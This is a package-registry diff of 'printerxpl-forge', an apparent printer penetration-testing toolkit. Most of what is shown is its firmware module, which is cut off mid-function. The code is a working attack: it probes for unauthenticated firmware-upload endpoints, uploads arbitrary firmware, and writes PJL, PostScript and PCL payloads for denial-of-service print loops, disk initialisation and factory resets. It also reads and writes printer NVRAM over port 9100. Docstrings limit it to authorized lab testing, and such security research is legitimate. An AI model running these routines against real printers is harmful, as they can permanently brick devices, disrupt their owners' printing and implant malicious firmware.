printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
|
@@ -0,0 +1,738 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — Firmware & Payload Module
|
|
5
|
+
==========================================
|
|
6
|
+
Operations targeting printer firmware, NVRAM, and embedded payloads:
|
|
7
|
+
|
|
8
|
+
A. Firmware version extraction and analysis
|
|
9
|
+
B. Firmware upload via web admin (vulnerability exploitation)
|
|
10
|
+
C. Custom print payload injection (ESC/P, PWGRaster, PostScript, PCL)
|
|
11
|
+
D. NVRAM / EEPROM read-write via PJL (for PJL-capable printers)
|
|
12
|
+
E. Factory reset (via PJL, web interface, or IPP)
|
|
13
|
+
F. Persistent config implant (via SNMP write or web form)
|
|
14
|
+
G. Malicious payload templates for supported languages
|
|
15
|
+
|
|
16
|
+
NOTE: All operations are implemented for authorized penetration testing only.
|
|
17
|
+
Firmware upload and NVRAM manipulation can brick a printer — use only
|
|
18
|
+
in isolated lab environments on explicitly authorized targets.
|
|
19
|
+
"""
|
|
20
|
+
|
|
21
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
22
|
+
# GitHub : https://github.com/mrhenrike
|
|
23
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
24
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
25
|
+
|
|
26
|
+
from __future__ import annotations
|
|
27
|
+
|
|
28
|
+
import logging
|
|
29
|
+
import os
|
|
30
|
+
import re
|
|
31
|
+
import socket
|
|
32
|
+
import struct
|
|
33
|
+
import time
|
|
34
|
+
from pathlib import Path
|
|
35
|
+
from typing import Dict, List, Optional
|
|
36
|
+
|
|
37
|
+
import requests
|
|
38
|
+
import urllib3
|
|
39
|
+
|
|
40
|
+
urllib3.disable_warnings()
|
|
41
|
+
|
|
42
|
+
_log = logging.getLogger(__name__)
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
# ── A. Firmware version extraction ────────────────────────────────────────────
|
|
46
|
+
|
|
47
|
+
FIRMWARE_PATTERNS = [
|
|
48
|
+
# HTTP headers / body patterns
|
|
49
|
+
(r'[Ff]irmware[:\s]+([A-Za-z0-9._\-]{4,30})', 'header/body'),
|
|
50
|
+
(r'[Ff]W[:\s]+([A-Za-z0-9._\-]{4,30})', 'header/body'),
|
|
51
|
+
(r'[Vv]ersion[:\s]+([0-9]+\.[0-9]+[A-Za-z0-9._\-]{0,10})','header/body'),
|
|
52
|
+
# EPSON specific
|
|
53
|
+
(r'(?:Main|Sub)Version[:\s]*([A-Za-z0-9._\-]+)', 'epson'),
|
|
54
|
+
(r'ESC@\.2\s+([A-Z0-9.]+)', 'epson-raw'),
|
|
55
|
+
# HP
|
|
56
|
+
(r'FWVER[:\s]+([A-Z0-9.]+)', 'hp-pjl'),
|
|
57
|
+
(r'(?:HP|hp)\s+([0-9]{8})', 'hp-ver'),
|
|
58
|
+
# Generic
|
|
59
|
+
(r'build[:\s]+([A-Za-z0-9._\-]{4,20})', 'build'),
|
|
60
|
+
(r'release[:\s]+([A-Za-z0-9._\-]{4,20})', 'release'),
|
|
61
|
+
]
|
|
62
|
+
|
|
63
|
+
FIRMWARE_WEB_PATHS = [
|
|
64
|
+
# Info pages
|
|
65
|
+
'/info', '/info.htm', '/info.html', '/status',
|
|
66
|
+
'/hp/device/info', '/hp/device/InternalPages/Index',
|
|
67
|
+
'/PRESENTATION/HTML/TOP/PRTINFO.HTML',
|
|
68
|
+
'/PRESENTATION/AIRPRINT/PRINTER_128.PNG', # EPSON — check headers
|
|
69
|
+
'/cgi-bin/info.cgi', '/cgi-bin/printer.cgi',
|
|
70
|
+
'/dev/info', '/sys/info',
|
|
71
|
+
'/webArch/getInfo.cgi', # Ricoh
|
|
72
|
+
'/xml/dev_status.xml',
|
|
73
|
+
'/DevMgmt/ProductUsagePage.xml', # HP
|
|
74
|
+
'/api/firmware/version',
|
|
75
|
+
]
|
|
76
|
+
|
|
77
|
+
FIRMWARE_UPLOAD_PATHS = [
|
|
78
|
+
# HP
|
|
79
|
+
'/hp/device/firmware/upgrade',
|
|
80
|
+
'/hp/device/DevMgmt/FirmwareUpgrade',
|
|
81
|
+
'/webapps/hp/firmware',
|
|
82
|
+
# Brother
|
|
83
|
+
'/firmware',
|
|
84
|
+
'/cgi-bin/update.cgi',
|
|
85
|
+
# Kyocera
|
|
86
|
+
'/km/set.cmd?cmd=login',
|
|
87
|
+
# Generic
|
|
88
|
+
'/update', '/upgrade', '/firmware/upload',
|
|
89
|
+
'/admin/firmware', '/admin/upgrade',
|
|
90
|
+
'/cgi-bin/firmupdate.cgi',
|
|
91
|
+
]
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
def get_firmware_version(
|
|
95
|
+
host: str, timeout: float = 8,
|
|
96
|
+
) -> Dict[str, str]:
|
|
97
|
+
"""
|
|
98
|
+
Extract firmware version from all available sources.
|
|
99
|
+
|
|
100
|
+
Returns dict with: version, source, raw_text, build_date.
|
|
101
|
+
"""
|
|
102
|
+
result = {'version': '', 'source': '', 'raw_text': '', 'build_date': ''}
|
|
103
|
+
|
|
104
|
+
# 1. HTTP GET known info pages
|
|
105
|
+
for scheme in ('http', 'https'):
|
|
106
|
+
port = 443 if scheme == 'https' else 80
|
|
107
|
+
for path in FIRMWARE_WEB_PATHS:
|
|
108
|
+
try:
|
|
109
|
+
r = requests.get(
|
|
110
|
+
f'{scheme}://{host}:{port}{path}',
|
|
111
|
+
timeout=timeout, verify=False,
|
|
112
|
+
)
|
|
113
|
+
if r.status_code != 200:
|
|
114
|
+
continue
|
|
115
|
+
# Check response headers
|
|
116
|
+
server = r.headers.get('Server', '') + r.headers.get('X-Firmware', '')
|
|
117
|
+
for pat, src in FIRMWARE_PATTERNS:
|
|
118
|
+
m = re.search(pat, server + r.text, re.I)
|
|
119
|
+
if m:
|
|
120
|
+
result['version'] = m.group(1)
|
|
121
|
+
result['source'] = f'{scheme}:{path}'
|
|
122
|
+
result['raw_text'] = (server + r.text[:200]).strip()[:200]
|
|
123
|
+
return result
|
|
124
|
+
except Exception:
|
|
125
|
+
pass
|
|
126
|
+
|
|
127
|
+
# 2. IPP firmware-version attribute
|
|
128
|
+
try:
|
|
129
|
+
from protocols.ipp_attacks import get_printer_info, discover_endpoints
|
|
130
|
+
eps = discover_endpoints(host, timeout)
|
|
131
|
+
if eps:
|
|
132
|
+
ep = eps[0]
|
|
133
|
+
info = get_printer_info(host, ep['port'], ep['path'], ep['scheme'], timeout)
|
|
134
|
+
fw = info.get('printer-firmware-version', '')
|
|
135
|
+
if fw:
|
|
136
|
+
clean = re.sub(r'[|·\x00-\x1f\x7f-\xff]', '', fw).strip()
|
|
137
|
+
if clean:
|
|
138
|
+
result['version'] = clean
|
|
139
|
+
result['source'] = 'ipp'
|
|
140
|
+
return result
|
|
141
|
+
except Exception:
|
|
142
|
+
pass
|
|
143
|
+
|
|
144
|
+
# 3. SNMP hrSWRunName / prtInterpreter
|
|
145
|
+
try:
|
|
146
|
+
from pysnmp.hlapi import (
|
|
147
|
+
getCmd, CommunityData, UdpTransportTarget,
|
|
148
|
+
ContextData, ObjectType, ObjectIdentity, SnmpEngine,
|
|
149
|
+
)
|
|
150
|
+
import warnings
|
|
151
|
+
warnings.filterwarnings('ignore', category=RuntimeWarning)
|
|
152
|
+
from utils.ports import PortConfig as _PC
|
|
153
|
+
_snmp_port = _PC.resolve('snmp')
|
|
154
|
+
|
|
155
|
+
oids = [
|
|
156
|
+
'1.3.6.1.2.1.1.1.0', # sysDescr (often has firmware)
|
|
157
|
+
'1.3.6.1.2.1.43.5.1.1.16.1', # prtConsoleDisplayBufferText
|
|
158
|
+
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.5.0', # HP: Firmware Revision
|
|
159
|
+
]
|
|
160
|
+
engine = SnmpEngine()
|
|
161
|
+
for oid in oids:
|
|
162
|
+
for err_ind, err_stat, _, binds in getCmd(
|
|
163
|
+
engine,
|
|
164
|
+
CommunityData('public', mpModel=0),
|
|
165
|
+
UdpTransportTarget((host, _snmp_port), timeout=timeout, retries=0),
|
|
166
|
+
ContextData(),
|
|
167
|
+
ObjectType(ObjectIdentity(oid)),
|
|
168
|
+
):
|
|
169
|
+
if not err_ind and not err_stat and binds:
|
|
170
|
+
val = str(binds[0][1])
|
|
171
|
+
for pat, src in FIRMWARE_PATTERNS:
|
|
172
|
+
m = re.search(pat, val, re.I)
|
|
173
|
+
if m:
|
|
174
|
+
result['version'] = m.group(1)
|
|
175
|
+
result['source'] = f'snmp:{oid}'
|
|
176
|
+
return result
|
|
177
|
+
except Exception:
|
|
178
|
+
pass
|
|
179
|
+
|
|
180
|
+
return result
|
|
181
|
+
|
|
182
|
+
|
|
183
|
+
# ── B. Firmware upload ────────────────────────────────────────────────────────
|
|
184
|
+
|
|
185
|
+
def check_firmware_upload(
|
|
186
|
+
host: str, timeout: float = 10, verbose: bool = True,
|
|
187
|
+
) -> Dict:
|
|
188
|
+
"""
|
|
189
|
+
Test whether the printer's web interface accepts unauthenticated
|
|
190
|
+
firmware upload requests.
|
|
191
|
+
|
|
192
|
+
Does NOT send actual firmware — sends a small dummy payload and
|
|
193
|
+
checks the HTTP response code. A 200 with 'success' or 'update'
|
|
194
|
+
in the body would confirm exploitability.
|
|
195
|
+
|
|
196
|
+
Returns dict with: path, vulnerable, status_code, evidence.
|
|
197
|
+
"""
|
|
198
|
+
result = {
|
|
199
|
+
'host': host,
|
|
200
|
+
'vulnerable': False,
|
|
201
|
+
'endpoint': None,
|
|
202
|
+
'status_code': None,
|
|
203
|
+
'auth_required': False,
|
|
204
|
+
'evidence': '',
|
|
205
|
+
}
|
|
206
|
+
|
|
207
|
+
dummy_fw = b'\x00' * 256 + b'PRINTER_FW_TEST' # Not real firmware
|
|
208
|
+
|
|
209
|
+
for scheme in ('http', 'https'):
|
|
210
|
+
port = 443 if scheme == 'https' else 80
|
|
211
|
+
for path in FIRMWARE_UPLOAD_PATHS:
|
|
212
|
+
for method in ('POST', 'PUT'):
|
|
213
|
+
try:
|
|
214
|
+
func = requests.post if method == 'POST' else requests.put
|
|
215
|
+
r = func(
|
|
216
|
+
f'{scheme}://{host}:{port}{path}',
|
|
217
|
+
data=dummy_fw,
|
|
218
|
+
headers={'Content-Type': 'application/octet-stream'},
|
|
219
|
+
timeout=timeout, verify=False,
|
|
220
|
+
)
|
|
221
|
+
result['status_code'] = r.status_code
|
|
222
|
+
result['endpoint'] = f'{scheme}://{host}:{port}{path}'
|
|
223
|
+
|
|
224
|
+
if r.status_code == 401:
|
|
225
|
+
result['auth_required'] = True
|
|
226
|
+
continue
|
|
227
|
+
|
|
228
|
+
if r.status_code in (200, 201, 202, 204):
|
|
229
|
+
text = r.text.lower()
|
|
230
|
+
if any(w in text for w in ['success', 'updating', 'upload',
|
|
231
|
+
'firmware', 'reboot', 'restart',
|
|
232
|
+
'please wait']):
|
|
233
|
+
result['vulnerable'] = True
|
|
234
|
+
result['evidence'] = r.text[:200]
|
|
235
|
+
if verbose:
|
|
236
|
+
print(f" [FIRMWARE] \033[1;31m[VULN]\033[0m "
|
|
237
|
+
f"Unauthenticated firmware upload accepted at "
|
|
238
|
+
f"{result['endpoint']}")
|
|
239
|
+
return result
|
|
240
|
+
|
|
241
|
+
except Exception:
|
|
242
|
+
pass
|
|
243
|
+
|
|
244
|
+
return result
|
|
245
|
+
|
|
246
|
+
|
|
247
|
+
def upload_firmware(
|
|
248
|
+
host: str,
|
|
249
|
+
fw_path: str,
|
|
250
|
+
endpoint: str = None,
|
|
251
|
+
scheme: str = 'http',
|
|
252
|
+
port: int = 80,
|
|
253
|
+
username: str = '',
|
|
254
|
+
password: str = '',
|
|
255
|
+
timeout: float = 60,
|
|
256
|
+
verbose: bool = True,
|
|
257
|
+
) -> bool:
|
|
258
|
+
"""
|
|
259
|
+
Upload a firmware file to the printer.
|
|
260
|
+
|
|
261
|
+
WARNING: Uploading invalid firmware can permanently brick the printer.
|
|
262
|
+
Only use in authorized lab environments.
|
|
263
|
+
|
|
264
|
+
Args:
|
|
265
|
+
fw_path: Local path to the firmware file.
|
|
266
|
+
endpoint: Specific firmware upload URL (auto-detected if None).
|
|
267
|
+
"""
|
|
268
|
+
if not os.path.exists(fw_path):
|
|
269
|
+
_log.error("Firmware file not found: %s", fw_path)
|
|
270
|
+
return False
|
|
271
|
+
|
|
272
|
+
if not endpoint:
|
|
273
|
+
probe = check_firmware_upload(host, verbose=verbose)
|
|
274
|
+
endpoint = probe.get('endpoint')
|
|
275
|
+
if not endpoint:
|
|
276
|
+
_log.error("No firmware upload endpoint found")
|
|
277
|
+
return False
|
|
278
|
+
|
|
279
|
+
with open(fw_path, 'rb') as fh:
|
|
280
|
+
data = fh.read()
|
|
281
|
+
|
|
282
|
+
if verbose:
|
|
283
|
+
print(f" [FIRMWARE] Uploading {os.path.basename(fw_path)} "
|
|
284
|
+
f"({len(data)} bytes) to {endpoint} ...")
|
|
285
|
+
|
|
286
|
+
try:
|
|
287
|
+
auth = (username, password) if username else None
|
|
288
|
+
r = requests.post(
|
|
289
|
+
endpoint, data=data,
|
|
290
|
+
headers={'Content-Type': 'application/octet-stream'},
|
|
291
|
+
auth=auth, timeout=timeout, verify=False,
|
|
292
|
+
)
|
|
293
|
+
if verbose:
|
|
294
|
+
print(f" [FIRMWARE] Response: {r.status_code} — {r.text[:100]}")
|
|
295
|
+
return r.status_code in (200, 201, 202, 204)
|
|
296
|
+
except Exception as exc:
|
|
297
|
+
_log.error("Firmware upload failed: %s", exc)
|
|
298
|
+
return False
|
|
299
|
+
|
|
300
|
+
|
|
301
|
+
# ── C. Custom payload injection ────────────────────────────────────────────────
|
|
302
|
+
|
|
303
|
+
def make_payload(
|
|
304
|
+
lang: str,
|
|
305
|
+
payload_type: str = 'info',
|
|
306
|
+
custom: str = '',
|
|
307
|
+
) -> bytes:
|
|
308
|
+
"""
|
|
309
|
+
Generate a language-specific printer payload.
|
|
310
|
+
|
|
311
|
+
Args:
|
|
312
|
+
lang: 'pjl', 'ps', 'pcl', 'escpr', 'pwgraster', 'pdf', 'lpd_raw'
|
|
313
|
+
payload_type: 'info' — print device information page
|
|
314
|
+
'stress' — CPU/memory stress (print loop)
|
|
315
|
+
'reset' — factory reset the printer
|
|
316
|
+
'network' — print network configuration
|
|
317
|
+
'custom' — use *custom* string as payload body
|
|
318
|
+
custom: Raw payload string for payload_type='custom'.
|
|
319
|
+
|
|
320
|
+
Returns:
|
|
321
|
+
Raw bytes ready to send to port 9100 (RAW), port 631 (IPP), or port 515 (LPD).
|
|
322
|
+
"""
|
|
323
|
+
lang = lang.lower().strip()
|
|
324
|
+
|
|
325
|
+
if lang == 'pjl':
|
|
326
|
+
return _pjl_payload(payload_type, custom)
|
|
327
|
+
elif lang in ('ps', 'postscript'):
|
|
328
|
+
return _ps_payload(payload_type, custom)
|
|
329
|
+
elif lang in ('pcl', 'pcl5', 'pcl6'):
|
|
330
|
+
return _pcl_payload(payload_type, custom)
|
|
331
|
+
elif lang in ('escpr', 'escpl2', 'escpr1', 'esc/p', 'escp'):
|
|
332
|
+
return _escpr_payload(payload_type)
|
|
333
|
+
elif lang in ('pwgraster', 'pwg-raster'):
|
|
334
|
+
return _pwgraster_payload()
|
|
335
|
+
elif lang == 'lpd_raw':
|
|
336
|
+
return _lpd_raw_payload(payload_type, custom)
|
|
337
|
+
else:
|
|
338
|
+
return custom.encode('latin-1', errors='replace') if custom else b''
|
|
339
|
+
|
|
340
|
+
|
|
341
|
+
def _pjl_payload(kind: str, custom: str = '') -> bytes:
|
|
342
|
+
"""Build a PJL payload."""
|
|
343
|
+
UEL = b'\x1b%-12345X'
|
|
344
|
+
if kind == 'info':
|
|
345
|
+
return (UEL + b'@PJL\r\n'
|
|
346
|
+
+ b'@PJL INFO ID\r\n'
|
|
347
|
+
+ b'@PJL INFO STATUS\r\n'
|
|
348
|
+
+ b'@PJL INFO FILESYS\r\n'
|
|
349
|
+
+ b'@PJL INFO PAGECOUNT\r\n'
|
|
350
|
+
+ b'@PJL INFO VARIABLES\r\n'
|
|
351
|
+
+ b'@PJL INFO USTATUS\r\n'
|
|
352
|
+
+ UEL)
|
|
353
|
+
elif kind == 'network':
|
|
354
|
+
return (UEL + b'@PJL\r\n'
|
|
355
|
+
+ b'@PJL INFO NETINFO\r\n'
|
|
356
|
+
+ b'@PJL INFO IPADDRESS\r\n'
|
|
357
|
+
+ UEL)
|
|
358
|
+
elif kind == 'reset':
|
|
359
|
+
return (UEL + b'@PJL\r\n'
|
|
360
|
+
+ b'@PJL INITIALIZE\r\n' # warm reset
|
|
361
|
+
+ UEL)
|
|
362
|
+
elif kind == 'stress':
|
|
363
|
+
return (UEL + b'@PJL\r\n'
|
|
364
|
+
+ b'@PJL SET COPIES=9999\r\n'
|
|
365
|
+
+ b'@PJL SET JOBATTR="@PJL"x65536\r\n' # OOM probe
|
|
366
|
+
+ UEL)
|
|
367
|
+
elif kind == 'custom':
|
|
368
|
+
return UEL + custom.encode('latin-1', errors='replace') + UEL
|
|
369
|
+
return UEL + b'@PJL INFO ID\r\n' + UEL
|
|
370
|
+
|
|
371
|
+
|
|
372
|
+
def _ps_payload(kind: str, custom: str = '') -> bytes:
|
|
373
|
+
"""Build a PostScript payload."""
|
|
374
|
+
if kind == 'info':
|
|
375
|
+
return (b'%!PS-Adobe-3.0\n'
|
|
376
|
+
b'/Helvetica findfont 12 scalefont setfont\n'
|
|
377
|
+
b'72 720 moveto\n'
|
|
378
|
+
b'statusdict begin\n'
|
|
379
|
+
b' product = pop\n'
|
|
380
|
+
b' version = pop\n'
|
|
381
|
+
b' revision = pop\n'
|
|
382
|
+
b'end\n'
|
|
383
|
+
b'showpage\n')
|
|
384
|
+
elif kind == 'custom':
|
|
385
|
+
return b'%!PS-Adobe-3.0\n' + custom.encode('latin-1', 'replace') + b'\nshowpage\n'
|
|
386
|
+
elif kind == 'reset':
|
|
387
|
+
return b'%!PS-Adobe-3.0\nstatusdict /initializedisk get exec\nshowpage\n'
|
|
388
|
+
elif kind == 'stress':
|
|
389
|
+
return (b'%!PS-Adobe-3.0\n'
|
|
390
|
+
b'/loop { 0 1 100000 { pop } for } def\n'
|
|
391
|
+
b'100 { loop } repeat\n'
|
|
392
|
+
b'showpage\n')
|
|
393
|
+
return b'%!PS-Adobe-3.0\nshowpage\n'
|
|
394
|
+
|
|
395
|
+
|
|
396
|
+
def _pcl_payload(kind: str, custom: str = '') -> bytes:
|
|
397
|
+
"""Build a PCL 5 payload."""
|
|
398
|
+
RESET = b'\x1bE' # printer reset
|
|
399
|
+
if kind == 'info':
|
|
400
|
+
return RESET + b'\x1b&l0E' + b'\x1b(s0B' + b'PrinterXPL-Forge info\r\n' + b'\x0c' + RESET
|
|
401
|
+
elif kind == 'reset':
|
|
402
|
+
return RESET # ESC E — factory defaults
|
|
403
|
+
elif kind == 'custom':
|
|
404
|
+
return RESET + custom.encode('latin-1', 'replace') + b'\x0c' + RESET
|
|
405
|
+
return RESET + b'\x0c' + RESET
|
|
406
|
+
|
|
407
|
+
|
|
408
|
+
def _escpr_payload(kind: str = 'info') -> bytes:
|
|
409
|
+
"""Build an ESC/P-R payload (EPSON inkjet)."""
|
|
410
|
+
ESC = b'\x1b'
|
|
411
|
+
payload = ESC + b'@' # initialize
|
|
412
|
+
payload += ESC + b'(G\x01\x00\x01' # select graphics mode
|
|
413
|
+
if kind == 'reset':
|
|
414
|
+
payload += ESC + b'@' # re-initialize (soft reset)
|
|
415
|
+
payload += b'\x0c' # form feed
|
|
416
|
+
return payload
|
|
417
|
+
|
|
418
|
+
|
|
419
|
+
def _pwgraster_payload() -> bytes:
|
|
420
|
+
"""Build a minimal blank PWG-Raster page (for IPP job injection)."""
|
|
421
|
+
from protocols.ipp_attacks import _make_raster_page
|
|
422
|
+
return _make_raster_page()
|
|
423
|
+
|
|
424
|
+
|
|
425
|
+
def _lpd_raw_payload(kind: str, custom: str = '') -> bytes:
|
|
426
|
+
"""Build a raw LPD data file payload."""
|
|
427
|
+
if kind == 'custom' and custom:
|
|
428
|
+
return custom.encode('latin-1', errors='replace')
|
|
429
|
+
# Default: blank page via form feed
|
|
430
|
+
return b'\x0c'
|
|
431
|
+
|
|
432
|
+
|
|
433
|
+
# ── D. NVRAM read/write via PJL ───────────────────────────────────────────────
|
|
434
|
+
|
|
435
|
+
def nvram_read(
|
|
436
|
+
host: str,
|
|
437
|
+
address: int = 0,
|
|
438
|
+
length: int = 256,
|
|
439
|
+
timeout: float = 10,
|
|
440
|
+
) -> Optional[bytes]:
|
|
441
|
+
"""
|
|
442
|
+
Read *length* bytes from printer NVRAM starting at *address* via PJL.
|
|
443
|
+
|
|
444
|
+
This is a well-known HP / generic PJL attack:
|
|
445
|
+
@PJL DMINFO ASCIIHEX BEGIN
|
|
446
|
+
@PJL DMCMD ASCIIHEX ...
|
|
447
|
+
|
|
448
|
+
Only works on PJL-capable printers (HP LaserJet, Kyocera, Brother, Xerox).
|
|
449
|
+
Returns raw bytes or None if the printer does not support this.
|
|
450
|
+
"""
|
|
451
|
+
from utils.ports import PortConfig as _PC
|
|
452
|
+
_raw_port = _PC.resolve('raw')
|
|
453
|
+
UEL = b'\x1b%-12345X'
|
|
454
|
+
cmd = (UEL
|
|
455
|
+
+ b'@PJL\r\n'
|
|
456
|
+
+ f'@PJL DMINFO ASCIIHEX\r\n'.encode()
|
|
457
|
+
+ f'@PJL DMCMD ASCIIHEX="0606000401"\r\n'.encode() # read NV store
|
|
458
|
+
+ UEL)
|
|
459
|
+
try:
|
|
460
|
+
s = socket.create_connection((host, _raw_port), timeout=timeout)
|
|
461
|
+
s.settimeout(timeout)
|
|
462
|
+
s.sendall(cmd)
|
|
463
|
+
time.sleep(1.5)
|
|
464
|
+
data = b''
|
|
465
|
+
while True:
|
|
466
|
+
chunk = s.recv(4096)
|
|
467
|
+
if not chunk:
|
|
468
|
+
break
|
|
469
|
+
data += chunk
|
|
470
|
+
if len(data) > 65536:
|
|
471
|
+
break
|
|
472
|
+
s.close()
|
|
473
|
+
return data if data else None
|
|
474
|
+
except Exception as exc:
|
|
475
|
+
_log.debug("NVRAM read failed: %s", exc)
|
|
476
|
+
return None
|
|
477
|
+
|
|
478
|
+
|
|
479
|
+
def nvram_write(
|
|
480
|
+
host: str,
|
|
481
|
+
address: int,
|
|
482
|
+
value: bytes,
|
|
483
|
+
timeout: float = 10,
|
|
484
|
+
) -> bool:
|
|
485
|
+
"""
|
|
486
|
+
Write *value* bytes to NVRAM at *address* via PJL DMCMD.
|
|
487
|
+
|
|
488
|
+
WARNING: Incorrect NVRAM writes can permanently damage the printer.
|
|
489
|
+
Only use in lab environments on authorized targets.
|
|
490
|
+
"""
|
|
491
|
+
from utils.ports import PortConfig as _PC
|
|
492
|
+
_raw_port = _PC.resolve('raw')
|
|
493
|
+
UEL = b'\x1b%-12345X'
|
|
494
|
+
hex_val = value.hex().upper()
|
|
495
|
+
cmd = (UEL
|
|
496
|
+
+ b'@PJL\r\n'
|
|
497
|
+
+ f'@PJL DMCMD ASCIIHEX="{hex_val}"\r\n'.encode()
|
|
498
|
+
+ UEL)
|
|
499
|
+
try:
|
|
500
|
+
s = socket.create_connection((host, _raw_port), timeout=timeout)
|
|
501
|
+
s.sendall(cmd)
|
|
502
|
+
time.sleep(0.5)
|
|
503
|
+
s.close()
|
|
504
|
+
return True
|
|
505
|
+
except Exception as exc:
|
|
506
|
+
_log.debug("NVRAM write failed: %s", exc)
|
|
507
|
+
return False
|
|
508
|
+
|
|
509
|
+
|
|
510
|
+
# ── E. Factory reset ──────────────────────────────────────────────────────────
|
|
511
|
+
|
|
512
|
+
def factory_reset(
|
|
513
|
+
host: str,
|
|
514
|
+
timeout: float = 10,
|
|
515
|
+
method: str = 'pjl',
|
|
516
|
+
verbose: bool = True,
|
|
517
|
+
) -> bool:
|
|
518
|
+
"""
|
|
519
|
+
Attempt to trigger a factory reset on the printer.
|
|
520
|
+
|
|
521
|
+
Methods:
|
|
522
|
+
'pjl' — send @PJL INITIALIZE to port 9100 (requires PJL support)
|
|
523
|
+
'web' — POST to known factory reset endpoints
|
|
524
|
+
'ipp' — send IPP Restart-Printer (op 0x003B) or Deactivate-Printer
|
|
525
|
+
|
|
526
|
+
Returns True if the command was accepted.
|
|
527
|
+
"""
|
|
528
|
+
if verbose:
|
|
529
|
+
print(f" [FIRMWARE] Attempting factory reset via {method} on {host}")
|
|
530
|
+
|
|
531
|
+
if method == 'pjl':
|
|
532
|
+
from utils.ports import PortConfig as _PC
|
|
533
|
+
_raw_port = _PC.resolve('raw')
|
|
534
|
+
UEL = b'\x1b%-12345X'
|
|
535
|
+
payload = UEL + b'@PJL\r\n@PJL INITIALIZE\r\n' + UEL
|
|
536
|
+
try:
|
|
537
|
+
s = socket.create_connection((host, _raw_port), timeout=timeout)
|
|
538
|
+
s.sendall(payload)
|
|
539
|
+
s.close()
|
|
540
|
+
if verbose:
|
|
541
|
+
print(f" [FIRMWARE] PJL INITIALIZE sent")
|
|
542
|
+
return True
|
|
543
|
+
except Exception as exc:
|
|
544
|
+
_log.debug("PJL reset failed: %s", exc)
|
|
545
|
+
|
|
546
|
+
elif method == 'web':
|
|
547
|
+
reset_paths = [
|
|
548
|
+
('/cgi-bin/restart.cgi', 'POST', {}),
|
|
549
|
+
